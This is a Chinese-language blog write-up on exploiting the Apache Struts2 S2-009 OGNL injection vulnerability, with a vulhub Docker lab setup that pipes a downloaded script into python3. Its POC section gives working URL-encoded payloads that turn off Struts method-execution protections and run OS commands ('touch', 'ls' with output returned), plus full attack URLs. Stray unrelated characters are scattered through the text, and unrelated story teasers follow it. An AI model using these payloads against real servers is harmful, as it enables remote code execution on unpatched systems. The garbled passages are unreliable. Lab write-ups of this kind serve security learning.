Struts-S2-009漏洞利用(含環(huán)境搭建、含POC)

struts-s2-009

此文僅供大家交流學(xué)習(xí),嚴(yán)禁非法使用

一陨晶、參考網(wǎng)址:

https://github.com/phith0n/vulhub/tree/master/struts2/s2-009
https://www.waitalone.cn/struts2-command-exp.html

二、 影響版本:

Struts 2.0.0 - Struts 2.3.1.1

三帝璧、 漏洞介紹:

OGNL提供了廣泛的表達(dá)式評(píng)估功能等功能先誉。該漏洞允許惡意用戶繞過(guò)ParametersInterceptor內(nèi)置的所有保護(hù)(正則表達(dá)式,拒絕方法調(diào)用)聋溜,從而能夠?qū)⑷魏伪┞兜淖址兞恐械膼阂獗磉_(dá)式注入進(jìn)行進(jìn)一步評(píng)估谆膳。
在S2-003和S2-005中已經(jīng)解決了類似的行為,但事實(shí)證明撮躁,基于列入可接受的參數(shù)名稱的結(jié)果修復(fù)僅部分地關(guān)閉了該漏洞漱病。
ParametersInterceptor中的正則表達(dá)式將top ['foo'](0)作為有效的表達(dá)式匹配买雾,OGNL將其作為(top ['foo'])(0)處理,并將“foo”操作參數(shù)的值作為OGNL表達(dá)式求值杨帽。這使得惡意用戶將任意的OGNL語(yǔ)句放入由操作公開的任何String變量中漓穿,并將其評(píng)估為OGNL表達(dá)式,并且由于OGNL語(yǔ)句在HTTP參數(shù)中注盈,攻擊者可以使用黑名單字符(例如#)禁用方法執(zhí)行并執(zhí)行任意方法晃危,繞過(guò)ParametersInterceptor和OGNL庫(kù)保護(hù)。

四老客、 環(huán)境搭建:(ubuntu)

  • 安裝pip

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安裝docker

apt-get update && apt-get install docker.io

  • 啟動(dòng)docker服務(wù)

service docker start

  • 安裝compose

pip install docker-compose

注意要先ssh連接僚饭,將公鑰添加到github上,具體參照網(wǎng)上教程

  • 拉取項(xiàng)目

git clone git@github.com:phith0n/vulhub.git
cd vulhub

  • 進(jìn)入某一個(gè)漏洞/環(huán)境的目錄

cd nginx_php5_mysql

  • 自動(dòng)化編譯環(huán)境

docker-compose build

  • 啟動(dòng)整個(gè)環(huán)境

docker-compose up -d

五胧砰、 POC:

%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

(可輸出結(jié)果)

(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

六鳍鸵、 測(cè)試網(wǎng)址:

http://虛擬機(jī)ip:8080/ajax/example5.action

修改后

http://虛擬機(jī)ip:8080/ajax/example5.action ?age=12313&name=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

七、執(zhí)行結(jié)果

1.png

修改后:

http://ip:8080/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

執(zhí)行結(jié)果尉间,出現(xiàn)下載文件偿乖,記事本打開


2png

八、存在問(wèn)題并修改:

Windows 的showcase測(cè)試windows命令一直執(zhí)行不成功哲嘲,希望大家指點(diǎn)指點(diǎn)

時(shí)隔兩個(gè)星期贪薪,
時(shí)隔十天終于將頭上的待續(xù)去掉了,自己寫了掃描器眠副,找到了個(gè)該漏洞的利用環(huán)境
http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=1

poc不變(簡(jiǎn)單修改輸出多行)
輸出結(jié)果:


3.png

九画切、 至此,該漏洞基本利用完畢

本人還是一個(gè)未畢業(yè)的小萌新囱怕,希望大家多多幫助槽唾,有問(wèn)題請(qǐng)發(fā)送郵件到xrzsupupup@163.com不勝感激,我也會(huì)盡量去幫助大家

堅(jiān)決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末光涂,一起剝皮案震驚了整個(gè)濱河市庞萍,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌忘闻,老刑警劉巖钝计,帶你破解...
    沈念sama閱讀 216,997評(píng)論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異齐佳,居然都是意外死亡私恬,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,603評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門炼吴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)本鸣,“玉大人,你說(shuō)我怎么就攤上這事硅蹦∪俚拢” “怎么了闷煤?”我有些...
    開封第一講書人閱讀 163,359評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)涮瞻。 經(jīng)常有香客問(wèn)我鲤拿,道長(zhǎng),這世上最難降的妖魔是什么署咽? 我笑而不...
    開封第一講書人閱讀 58,309評(píng)論 1 292
  • 正文 為了忘掉前任近顷,我火速辦了婚禮,結(jié)果婚禮上宁否,老公的妹妹穿的比我還像新娘窒升。我一直安慰自己,他們只是感情好慕匠,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,346評(píng)論 6 390
  • 文/花漫 我一把揭開白布异剥。 她就那樣靜靜地躺著,像睡著了一般絮重。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上歹苦,一...
    開封第一講書人閱讀 51,258評(píng)論 1 300
  • 那天青伤,我揣著相機(jī)與錄音,去河邊找鬼殴瘦。 笑死狠角,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的蚪腋。 我是一名探鬼主播丰歌,決...
    沈念sama閱讀 40,122評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼屉凯!你這毒婦竟也來(lái)了立帖?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,970評(píng)論 0 275
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤悠砚,失蹤者是張志新(化名)和其女友劉穎晓勇,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體灌旧,經(jīng)...
    沈念sama閱讀 45,403評(píng)論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡绑咱,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,596評(píng)論 3 334
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了枢泰。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片描融。...
    茶點(diǎn)故事閱讀 39,769評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖衡蚂,靈堂內(nèi)的尸體忽然破棺而出窿克,到底是詐尸還是另有隱情骏庸,我是刑警寧澤,帶...
    沈念sama閱讀 35,464評(píng)論 5 344
  • 正文 年R本政府宣布让歼,位于F島的核電站敞恋,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏谋右。R本人自食惡果不足惜硬猫,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,075評(píng)論 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望改执。 院中可真熱鬧啸蜜,春花似錦、人聲如沸辈挂。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,705評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)终蒂。三九已至蜂林,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間拇泣,已是汗流浹背噪叙。 一陣腳步聲響...
    開封第一講書人閱讀 32,848評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留霉翔,地道東北人睁蕾。 一個(gè)月前我還...
    沈念sama閱讀 47,831評(píng)論 2 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像债朵,于是被迫代替她去往敵國(guó)和親子眶。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,678評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容